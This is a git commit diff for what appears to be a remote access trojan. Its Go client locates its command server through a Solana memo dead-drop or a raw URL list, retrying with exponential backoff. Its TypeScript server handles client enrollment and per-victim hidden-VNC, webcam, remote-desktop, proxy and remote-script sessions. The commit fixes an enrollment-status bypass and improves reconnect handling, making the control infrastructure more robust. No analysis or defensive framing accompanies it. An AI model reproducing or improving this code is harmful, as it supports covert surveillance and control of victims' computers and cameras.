add bigger back off, fix issue with null enrollment status bypassing auth, fixed other issues as well

This commit is contained in:
KingKDot
2026-04-14 20:52:15 -05:00
parent 7c6bcccda7
commit 0b6986fcdb
3 changed files with 60 additions and 17 deletions
+20 -4
View File
@@ -195,14 +195,23 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
return return
} }
const maxBackoff = 2 * time.Minute
if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 { if cfg.SolEnabled && cfg.SolAddress != "" && len(cfg.SolRPCEndpoints) > 0 {
log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress) log.Printf("No server URLs configured. Resolving from Solana memo (address: %s)", cfg.SolAddress)
delay := backoff
for len(cfg.ServerURLs) == 0 { for len(cfg.ServerURLs) == 0 {
if refreshServerURLsFromSolana(cfg) { if refreshServerURLsFromSolana(cfg) {
return return
} }
log.Printf("Retrying Solana memo lookup in %s", backoff) log.Printf("Retrying Solana memo lookup in %s", delay)
time.Sleep(backoff) time.Sleep(delay)
if delay < maxBackoff {
delay = delay * 2
if delay > maxBackoff {
delay = maxBackoff
}
}
} }
return return
} }
@@ -214,12 +223,19 @@ func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
} }
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL) log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
delay := backoff
for len(cfg.ServerURLs) == 0 { for len(cfg.ServerURLs) == 0 {
if refreshServerURLsFromRaw(cfg) { if refreshServerURLsFromRaw(cfg) {
return return
} }
log.Printf("Retrying raw server list fetch in %s", backoff) log.Printf("Retrying raw server list fetch in %s", delay)
time.Sleep(backoff) time.Sleep(delay)
if delay < maxBackoff {
delay = delay * 2
if delay > maxBackoff {
delay = maxBackoff
}
}
} }
} }
+1 -1
View File
@@ -491,7 +491,7 @@ export function upsertClientRow(
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms), ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
build_tag=COALESCE(excluded.build_tag, clients.build_tag), build_tag=COALESCE(excluded.build_tag, clients.build_tag),
built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id), built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END, enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
public_key=COALESCE(excluded.public_key, clients.public_key), public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint), key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
cpu=COALESCE(excluded.cpu, clients.cpu), cpu=COALESCE(excluded.cpu, clients.cpu),
@@ -163,6 +163,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 })); ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
clearEnrollmentTimeout(id);
const timeout = setTimeout(() => { const timeout = setTimeout(() => {
enrollmentTimeouts.delete(id); enrollmentTimeouts.delete(id);
try { try {
@@ -271,6 +272,11 @@ export async function handleWebSocketMessage(
} }
} }
if (enrollmentStatus !== "approved" && enrollmentStatus !== "denied" && enrollmentStatus !== "pending") {
logger.warn(`[purgatory] unexpected enrollment_status "${enrollmentStatus}" for ${ws.data.clientId}, treating as pending`);
enrollmentStatus = "pending";
}
const resolvedId = ws.data.clientId; const resolvedId = ws.data.clientId;
const buildTag = typeof (payload as any).buildTag === "string" const buildTag = typeof (payload as any).buildTag === "string"
? (payload as any).buildTag.trim() ? (payload as any).buildTag.trim()
@@ -337,7 +343,7 @@ export async function handleWebSocketMessage(
ip: ip || undefined, ip: ip || undefined,
country, country,
}); });
try { ws.close(4001, "pending"); } catch {} setTimeout(() => { try { ws.close(4001, "pending"); } catch {} }, 100);
return; return;
} }
@@ -347,6 +353,23 @@ export async function handleWebSocketMessage(
try { existingClient.ws.close(4004, "superseded"); } catch {} try { existingClient.ws.close(4004, "superseded"); } catch {}
clientManager.deleteClient(resolvedId); clientManager.deleteClient(resolvedId);
clearEnrollmentTimeout(resolvedId); clearEnrollmentTimeout(resolvedId);
stopAllProxiesForClient(resolvedId);
deps.clearPendingNotificationScreenshots(resolvedId);
deps.clearClientPluginState(resolvedId);
for (const [cmdId, pending] of deps.pendingScripts) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, error: "Client reconnected (superseded)" });
deps.pendingScripts.delete(cmdId);
}
}
for (const [cmdId, pending] of deps.pendingCommandReplies) {
if (pending.clientId === resolvedId) {
clearTimeout(pending.timeout);
pending.resolve({ ok: false, message: "Client reconnected (superseded)" });
deps.pendingCommandReplies.delete(cmdId);
}
}
deps.rdStreamingState.delete(resolvedId); deps.rdStreamingState.delete(resolvedId);
deps.hvncStreamingState.delete(resolvedId); deps.hvncStreamingState.delete(resolvedId);
deps.webcamStreamingState.delete(resolvedId); deps.webcamStreamingState.delete(resolvedId);
@@ -380,6 +403,7 @@ export async function handleWebSocketMessage(
}); });
const notificationConfig = deps.getNotificationConfig(); const notificationConfig = deps.getNotificationConfig();
try {
ws.send( ws.send(
encodeMessage({ encodeMessage({
type: "hello_ack", type: "hello_ack",
@@ -391,6 +415,9 @@ export async function handleWebSocketMessage(
}, },
}), }),
); );
} catch (sendErr) {
logger.warn(`[purgatory] failed to send hello_ack to ${resolvedId}: ${sendErr}`);
}
handleHello(infoObj, payload, ws, ip); handleHello(infoObj, payload, ws, ip);
clientManager.addClient(infoObj.id, infoObj); clientManager.addClient(infoObj.id, infoObj);